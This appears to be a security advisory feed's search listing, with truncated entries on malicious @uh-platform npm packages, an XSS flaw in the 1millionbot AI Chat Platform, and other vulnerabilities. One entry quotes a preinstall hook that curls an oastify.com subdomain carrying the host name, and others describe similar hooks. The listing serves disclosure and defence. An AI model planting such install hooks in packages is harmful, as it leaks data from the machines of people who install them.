59668 matches found
Malicious Package
Overview @uh-platform/cloud is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
Malicious code in @uh-platform/nadaver (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...
MAL-2026-16360 Malicious code in @uh-platform/nadaver (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...
Malicious code in @uh-platform/domain-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...
MAL-2026-16359 Malicious code in @uh-platform/domain-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...
Malicious code in @uh-platform/webcard (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...
MAL-2026-16362 Malicious code in @uh-platform/webcard (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...
Malicious code in @uh-platform/cloud (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...
MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...
Malicious code in @uh-platform/nadaver2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458 The package's package.json declares a preinstall lifecycle hook that runs node index.js. index.js invokes childprocess.exec on a curl command whose U...
MAL-2026-16361 Malicious code in @uh-platform/nadaver2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458 The package's package.json declares a preinstall lifecycle hook that runs node index.js. index.js invokes childprocess.exec on a curl command whose U...
CVE-2026-91921
Cross-Site Scripting XSS vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax an...
CVE-2026-91921
CVE-2026-91921 is a Cross-Site Scripting (XSS) vulnerability in the client-side rendering engine of the 1millionbot AI Chat Platform , caused by inadequate input sanitisation. An unauthenticated remote user can trigger the issue by sending messages containing Markdown syntax and certain unsanitis...
CVE-2026-91921 Cross-Site Scripting (XSS) in 1millionbot’s AI chatbot platform
Cross-Site Scripting XSS vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax an...
EUVD-2026-83880
Cross-Site Scripting XSS vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax an...
PT-2026-96064
Name of the Vulnerable Software and Affected Versions 1millionbot AI Chat Platform affected versions not specified Description Inadequate input sanitization in the client-side rendering engine allows an unauthenticated remote user to execute Cross-Site Scripting XSS. By sending messages containin...
Linux Distros Unpatched Vulnerability : CVE-2026-54626
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, the TGAINDEXEDRLE...
PT-2026-96112
Name of the Vulnerable Software and Affected Versions Red Hat OpenShift Container Platform 4 affected versions not specified Description A flaw in the oc-mirror tool allows for the bypass of PGP Pretty Good Privacy release image signature verification. The tool incorrectly checks for signature...
CVE-2026-91921: Improper Neutralization of Input During Web Page Generation
Cross-Site Scripting XSS vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax an...
CVE-2026-84445
creationtimestamp| type| source ---|---|--- 2026-09-20 05:20:08+00:00| seen| https://bsky.app/profile/gcpweekly.bsky.social/post/3mvwh6p7ulh2c 2026-09-20 05:20:10+00:00| seen| https://bsky.app/profile/gcpweekly.bsky.social/post/3mvwh6pfjye2s 2026-09-20 05:20:14+00:00| seen|...